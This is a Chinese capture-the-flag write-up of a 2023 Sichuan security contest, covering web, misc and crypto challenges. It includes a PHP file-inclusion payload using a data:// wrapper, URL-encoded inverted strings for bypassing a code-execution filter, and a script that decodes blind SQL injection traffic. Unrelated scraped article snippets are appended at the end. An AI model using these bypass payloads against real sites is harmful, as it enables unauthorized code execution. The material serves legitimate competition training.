2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup

文章目录

  • Web
    • 前端验证
    • PHP_Try
  • Misc
    • HelloWorld
    • 密码在这
    • easy_log
  • Crypto
    • baser

线下“断网”CTF个人赛,题都很简单(新手级难度),总共10道题目,解了6题。

赛题附件请自取:
链接:https://pan.baidu.com/s/1lgNEBO7a1L4KLE2t_pXoow 
提取码:moch

Web

前端验证

就简单的绕过前端验证,Disable JavaScript插件直接一开,直接传PHP WebShell即可

在这里插入图片描述

PHP_Try

都是非常常见的考点

<?php
error_reporting(0);
$username=$_GET['username'];
$file=$_GET['file'];
$a=$_GET['a'];if(is_numeric($username)&&isset($username)){highlight_file(__FILE__);
}
else{echo "<h2>传一个 username 试试 ?</h2>";die("<h3>username 用户讨厌字母</h3>");}
if(substr(md5($username),0,5)==="3a824"){echo("惊呆了,小伙子<br>");
if(isset($a)&&file_get_contents($a,'r')==="this is so easy")
{echo "hello<br>";if(!preg_match('/fff.php/',$file)&&preg_match('/filter|data|input|base|[0-9]/i',$file)){echo "小伙子,你想嘎啥?";exit(0);
} include($file); 
}
else
{die("??这就要结束了<br>");
}
}
else{die("咋回事???<br>");
}?>

首先爆破username的正确数值,简单写个Python跑即可

import hashlibfor num in range(10000):numMd5 = hashlib.md5(str(num).encode()).hexdigest()if numMd5[0:5] == "3a824":print(numMd5, num)

在这里插入图片描述
isset($a)&&file_get_contents($a,'r')==="this is so easy"直接用伪协议传,然后包含fff.php即可

/index.php?username=2022&a=data://text/plain,this is so easy&file=fff.php

在这里插入图片描述
访问/fl4a4asdjkg.php,发现是代码执行绕过
在这里插入图片描述

直接用我的这篇文章里的URL编码取反绕过:浅谈PHP代码执行中出现过滤限制的绕过执行方法

PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'whoami'));"
Command line code:1:
string(18) "%88%97%90%9E%92%96"

在这里插入图片描述

Misc

HelloWorld

直接搜索关键字DASCTF{,选择替换即可显示出来

在这里插入图片描述

DASCTF{63fe66f7bb230272df7c34e8c3b7266d}

密码在这

按照长度排序,发现最长的一个包有RAR

在这里插入图片描述
试用tshark过滤提取出来

D:\Wireshark\tshark.exe -r .\pcap.pcap -T fields -Y data.data -e data.data

在这里插入图片描述

Python简单转换一下

hexString = "526172211a0701003392b5e50a01050600050101808000833fe6aa5502033cb000049c0020d4bc9c5b80030008666c61672e747874300100030f7664e898bc843a2deea13f7084beb0ef58ebe9779b9c1b4a678da13b6e641cf4869d9f0d797fcab50d7368a10a0302d30a2116f4bcd80157108ce51fbd5c9498348f5effcf4cee88444551f18f82c56db23536e613490e3e20d60911b1f03b06593de5337537bd1d77565103050400ffa567b22002030b0005003000000000800000067365637265740a0302e0c0f918f4bcd801d12727d32103230bb7800004aa800000e58ac34b8003000353544d0a073a70617373776f7264c5ab34240032fa24ba0f9741b3160e14341160b44cc1133550dffe0f9ee8f7eba584c76f6600d2558fb21a3fe410426e7a5c998b2ee5a81d77565103050400444f4e4503e70e63"
with open('flag.rar', 'wb') as f:f.write(bytes.fromhex(hexString))

在这里插入图片描述

注意,前面这些干扰数据需要去掉,得到Rar,题目提示说需要使用winrar打开,盲猜就是存在NTFS流隐写

NTFS文件流隐写如果要压缩必须使用WinRar压缩

使用Winrar解压

在这里插入图片描述

NtfsStreansEdutior发现隐藏的密码

在这里插入图片描述
导出,得到解压密码:SXMlMjB0aGlzJTIwdGhlJTIwcGFzc3dvcmQlM0Y=
解压flag.rar得到flag

DASCTF{I have learned it!!!}

easy_log

很明显的二分法布尔盲注入流量,%3E是大于,并且发现了一段base64

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('cGFzc3dvcmQ6IHNAZncjdiVmOQ=='));"
Command line code:1:
string(19) "password: s@fw#v%f9"

在这里插入图片描述
这里的重点就是,稍微需要一点点理解二分法布尔盲注入,使用大于的情况下判断的结果是怎么得出的

布尔盲注是根据返回的包不同,观察是否查询语法正确的,这里虽然看不到返回包的内容,但是可以看到返回包的长度,就是状态码200之后的就是返回包长度。

flag字段的第一位内容为例,如果ascii(substr((select group_concat(flag) from flag),1,1))>78,那么接下来的就是继续比较>78的数值了,但是这里第一位的内容后续的查询记录都是<78的,所以就能得出当返回包长度为704的时候就是查询错误,反之当返回包长度为699时则为查询正确

在这里插入图片描述
所以判断每一位的最后一条查询记录是否为True即可,如果为True,则需要数值+1,反之则就是该值

with open('access.log', 'r') as f:lines = f.readlines()idx = 2result = '' for i in range(len(lines)):if 'flag),{},1))'.format(idx) in lines[i]:idx += 1asciiCode = lines[i-1][lines[i-1].find('%3E')+3:lines[i-1].find(' HTTP/1.1')]if ' 200 699 ' in lines[i-1]:result += chr(int(asciiCode) + 1)else:result += chr(int(asciiCode))
print(result)
with open('flag.zip', 'wb') as f:f.write(bytes.fromhex(result))

得到一个压缩包,密码前面也有,直接解压得到flag

DASCTF{fd67c1798e9cb29e8fc467e9dcefbd7f}

Crypto

baser

from uuid import *from caser import something
from secret import flag
base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result =""
for i in range(len(flag)):if flag[i] in base_table:result +=base_table[(base_table.index(flag[i])+33)%64]else:result +=flag[i]
print(result)#khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}

很简单的逆向

base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result = "khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}"
flag = ""
for i in range(len(result)):if result[i] in base_table:flag += base_table[(base_table.index(result[i])-33)%64]else:flag += result[i]
print(flag)
PS C:\Users\Administrator\Downloads> python .\code.py
DASCTF{c754ba00-b2aa-11ed-ab15-94085339ce84}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/158234.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PerfectPixel 插件,前端页面显示优化工具

1.简介 PerfectPixel 插件是一款适用于 Chrome 浏览器的网页前端页面显示优化工具&#xff0c;该插件能够帮助开发人员和标记设计人员在开发时将设计图直接加载至网页中&#xff0c;与已成型的网页进行重叠对比&#xff0c;以规范网页像素精度 作为一款可以优化前端页面显示的…

AtCoder abc143

D - Triangles 排序后two pointer # -*- coding: utf-8 -*- # time : 2023/6/2 13:30 # author : yhdutongwoo.cn # desc : # file : atcoder.py # software : PyCharmimport bisect import copy import sys from sortedcontainers import SortedList from coll…

【沧元图】梅元知命运逆转,但遗憾下线,孟川新形态揭晓

Hello,小伙伴们&#xff0c;我是小郑继续为大家深度解析国漫资讯。 深度爆料&#xff0c;《沧元图》是近年来备受期待的动画作品之一&#xff0c;其独特的画风和精彩的剧情吸引了众多观众的关注。这部动画的播出计划备受瞩目&#xff0c;据主创团队透露&#xff0c;本季共有26…

华为RS设备状态及接口配置命令

1、查看硬件信息 ①查看序列号 查看整机序列号 display esn display sn ②、查看功率 电源功率 display power 查看光模块功率 display transceiver interface gigabitethernet 1/0/0 verbose ③、查看风扇 display fan ④、查看温度 display temperature all ⑤、查看硬…

Kubernetes 架构

Kubernetes 架构 Kubernetes 最初源于谷歌内部的 Borg,提供了面向应用的容器集群部署和管理系统。Kubernetes 的目标旨在消除编排物理 / 虚拟计算,网络和存储基础设施的负担,并使应用程序运营商和开发人员完全将重点放在以容器为中心的原语上进行自助运营。Kubernetes 也提…

云原生环境下JAVA应用容器JVM内存如何配置?—— 筑梦之路

Docker环境下的JVM参数非定值配置 —— 筑梦之路_docker jvm设置-CSDN博客 之前简单地记录过一篇&#xff0c;这里在之前的基础上更加细化一下。 场景说明 使用Java开发且设置的JVM堆空间过小时&#xff0c;程序会出现系统内存不足OOM&#xff08;Out of Memory&#xff09;的…

GZ035 5G组网与运维赛题第10套

2023年全国职业院校技能大赛 GZ035 5G组网与运维赛项&#xff08;高职组&#xff09; 赛题第10套 一、竞赛须知 1.竞赛内容分布 竞赛模块1--5G公共网络规划部署与开通&#xff08;35分&#xff09; 子任务1&#xff1a;5G公共网络部署与调试&#xff08;15分&#xff09; 子…

C#中使用LINQtoSQL管理SQL数据库之添加、修改和删除

目录 一、添加数据 二、修改数据 三、删除数据 四、添加、修改和删除的源码 五、生成效果 1.VS和SSMS原始记录 2.删除ID2和5的记录 3.添加记录ID2、5和8 4.修改ID3和ID4的记录 用LINQtoSQL管理SQL Server数据库时&#xff0c;主要有添加、修改和删除3种操作。 项目中创…

纠结蓝桥杯参加嵌入式还是单片机组?

纠结蓝桥杯参加嵌入式还是单片机组? 单片机包含于嵌入式&#xff0c;嵌入式不只是单片机。. 你只有浅浅的的单片机基础&#xff0c;只能报单片机了。最近很多小伙伴找我&#xff0c;说想要一些单片机资料&#xff0c;然后我根据自己从业十年经验&#xff0c;熬夜搞了几个通宵…

Linux-----nginx的简介,nginx搭载负载均衡以及nginx部署前后端分离项目

目录 nginx的简介 是什么 nginx的特点以及功能 Nginx负载均衡 下载 安装 负载均衡 nginx的简介 是什么 Nginx是一个高性能的开源Web服务器和反向代理服务器。它的设计目标是为了解决C10k问题&#xff0c;即在同一时间内支持上万个并发连接。 Nginx采用事件驱动的异…

redis-plus-plus常用函数介绍以及redis的一些边缘知识

文章目录 渐进式遍历scan数据库管理使用C调用redis安装redis-plus-plus get, set, exists , del, keysexpire, typestring的set, mset, mgetgetrange, setrangeincr, decrlpush, lrange,lpop, rpopblpop, llensadd, smemberssismember, scardsinter, sinterstorehset, hget, he…

MVCC详解

什么是MVCC&#xff1f; MVCC&#xff0c;即Multi-Version Concurrency Control &#xff08;多版本并发控制&#xff09;。它是一种并发控制的方法&#xff0c;一般在数据库管理系统中&#xff0c;实现对数据库的并发访问&#xff0c;在编程语言中实现事务内存。 通俗的讲&am…